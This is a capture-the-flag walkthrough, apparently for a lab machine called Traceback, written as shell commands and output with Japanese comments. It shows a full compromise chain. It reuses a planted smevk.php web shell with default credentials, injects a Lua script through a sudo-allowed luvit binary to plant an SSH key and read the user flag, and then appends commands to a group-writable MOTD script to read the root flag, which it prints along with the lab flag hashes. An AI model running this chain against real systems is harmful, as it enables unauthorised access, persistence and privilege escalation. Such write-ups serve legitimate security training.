ping -c 2 -W 3 10.129.88.108
curl -s -i http://10.129.88.108/

Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Tue, 27 Aug 2019 11:29:44 GMT
<title>Help us</title>

curl -s http://10.129.88.108/

<h1>This site has been owned</h1>
<h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
<h3> - Xh4H - </h3>
<!--Some of the best web shells that you might need ;)-->

curl -s -o /dev/null -w "smevk.php: %{http_code}\n" http://10.129.88.108/smevk.php
curl -s -c cookies.txt -d "uname=admin&pass=admin&login=Login" http://10.129.88.108/smevk.php

smevk.php: 200
（ログイン後レスポンスに Console / FilesMAn / webadmin の文字列を確認）

curl -s -b cookies.txt \
  --data-urlencode "a=Console" --data-urlencode "c=/var/www/html/" --data-urlencode "p1=id" \
  http://10.129.88.108/smevk.php \
  | grep -oP "(?s)name=output[^>]*>\K.*?(?=)"

$ id
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)

curl -s -b cookies.txt \
  --data-urlencode "a=Console" --data-urlencode "c=/var/www/html/" --data-urlencode "p1=sudo -l" \
  http://10.129.88.108/smevk.php | grep -oP "(?s)name=output[^>]*>\K.*?(?=)"

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

ssh-keygen -t rsa -b 2048 -f tb_key -N "" -q

# inject.lua の内容
os.execute('mkdir -p /home/sysadmin/.ssh')
local f = io.open('/home/sysadmin/.ssh/authorized_keys', 'w')
f:write('<自分の公開鍵>\n')
f:close()
os.execute('chmod 600 /home/sysadmin/.ssh/authorized_keys')
local u = io.open('/home/sysadmin/user.txt')
if u then print(u:read('*a')) end   -- 詳細は4-3のハマりポイント参照

# Step1: lua ファイルをbase64経由でサーバーに書き込む
B64=$(base64 -w0 inject.lua)
curl -s -b cookies.txt --data-urlencode "a=Console" --data-urlencode "c=/var/www/html/" \
  --data-urlencode "p1=echo $B64 | base64 -d > /tmp/kcr_tb.lua" \
  http://10.129.88.108/smevk.php

# Step2: sudo経由でsysadminとしてluvit実行
curl -s -b cookies.txt --data-urlencode "a=Console" --data-urlencode "c=/var/www/html/" \
  --data-urlencode "p1=sudo -u sysadmin /home/sysadmin/luvit /tmp/kcr_tb.lua" \
  http://10.129.88.108/smevk.php

# io.write() を使うバージョン → 終了コード134(SIGABRT)でクラッシュし出力無し
echo '...f:write(pubkey)...local u=io.open(...); io.write(u:read("*a"))...' \
  | base64 -d > script.lua
sudo -u sysadmin /home/sysadmin/luvit script.lua 2>&1; echo RC=$?

Aborted
RC=134

# 同じ処理内容だが最後の出力だけ print() に変更
...local u=io.open('/home/sysadmin/user.txt')
if u then print(u:read('*a')) end

got:	72e2b0a830982d29f87afbc6e42ca918

RC=0

ssh -i tb_key -o StrictHostKeyChecking=no sysadmin@10.129.88.108 \
  "id; cat /home/sysadmin/user.txt"

uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)
72e2b0a830982d29f87afbc6e42ca918

ssh -i tb_key sysadmin@10.129.88.108 "ls -la /etc/update-motd.d/"

-rwxrwxr-x 1 root sysadmin 981 00-header
-rwxrwxr-x 1 root sysadmin 982 10-help-text
-rwxrwxr-x 1 root sysadmin 4264 50-motd-news
-rwxrwxr-x 1 root sysadmin 604 80-esm
-rwxrwxr-x 1 root sysadmin 299 91-release-upgrade

ssh -i tb_key sysadmin@10.129.88.108 \
  "echo 'cat /root/root.txt > /tmp/.rootflag 2>/dev/null; chmod 644 /tmp/.rootflag 2>/dev/null' \
   >> /etc/update-motd.d/00-header"

# motdはログインバナー表示の「前」に実行されるため、
# 同一セッション内でそのまま cat すれば読める
ssh -i tb_key sysadmin@10.129.88.108 "cat /tmp/.rootflag"

#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################
8a137fbe4db5c06ca1b0e3a451b6fb98

ssh -i tb_key sysadmin@10.129.88.108 \
  "cp /var/backups/.update-motd.d/00-header /etc/update-motd.d/00-header"